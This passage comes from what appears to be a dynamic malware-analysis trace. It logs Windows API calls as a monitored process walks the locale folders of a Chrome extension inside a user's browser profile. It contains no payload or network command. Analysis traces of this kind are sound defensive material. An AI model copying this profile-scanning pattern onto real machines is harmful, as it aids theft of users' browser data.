Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi" [0056.320] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi\\*.*" [0056.320] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.320] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.320] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.320] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.320] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.320] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.320] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.320] LocalFree (hMem=0x2dc218) returned 0x0 [0056.320] LocalFree (hMem=0x2dc100) returned 0x0 [0056.320] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.320] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.320] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.320] lstrlenA (lpString="\\") returned 1 [0056.320] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.320] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.320] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.320] lstrlenA (lpString="fil") returned 3 [0056.320] LocalAlloc (uFlags=0x40, uBytes=0x110) returned 0x2dc100 [0056.320] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.320] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil" [0056.320] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil") returned 143 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil") returned 143 [0056.321] lstrlenA (lpString="\\*.*") returned 4 [0056.321] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x2dc218 [0056.321] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil" [0056.321] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil\\*.*" [0056.321] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fil\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.321] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.321] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.321] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.321] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.321] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.321] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.321] LocalFree (hMem=0x2dc218) returned 0x0 [0056.321] LocalFree (hMem=0x2dc100) returned 0x0 [0056.321] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.321] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.321] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.321] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.321] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.321] lstrlenA (lpString="\\") returned 1 [0056.321] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.321] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.321] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.321] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.321] lstrlenA (lpString="fr") returned 2 [0056.321] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.321] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.321] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr" [0056.321] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.321] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr") returned 142 [0056.321] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr") returned 142 [0056.321] lstrlenA (lpString="\\*.*") returned 4 [0056.321] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.321] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr" [0056.321] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr\\*.*" [0056.321] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fr\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.321] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.321] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.321] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.322] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.322] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.322] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.322] LocalFree (hMem=0x2dc218) returned 0x0 [0056.322] LocalFree (hMem=0x2dc100) returned 0x0 [0056.322] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.322] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.322] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.322] lstrlenA (lpString="\\") returned 1 [0056.322] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.322] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.322] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.322] lstrlenA (lpString="he") returned 2 [0056.322] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.322] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.322] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he" [0056.322] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he") returned 142 [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he") returned 142 [0056.322] lstrlenA (lpString="\\*.*") returned 4 [0056.322] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.322] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he" [0056.322] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he\\*.*" [0056.322] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\he\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.322] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.322] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.322] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.322] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.322] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.322] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.322] LocalFree (hMem=0x2dc218) returned 0x0 [0056.322] LocalFree (hMem=0x2dc100) returned 0x0 [0056.322] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.322] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.322] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.322] lstrlenA (lpString="\\") returned 1 [0056.322] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.322] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.322] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.322] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.323] lstrlenA (lpString="hi") returned 2 [0056.323] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.323] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.323] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi" [0056.323] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi") returned 142 [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi") returned 142 [0056.323] lstrlenA (lpString="\\*.*") returned 4 [0056.323] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.323] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 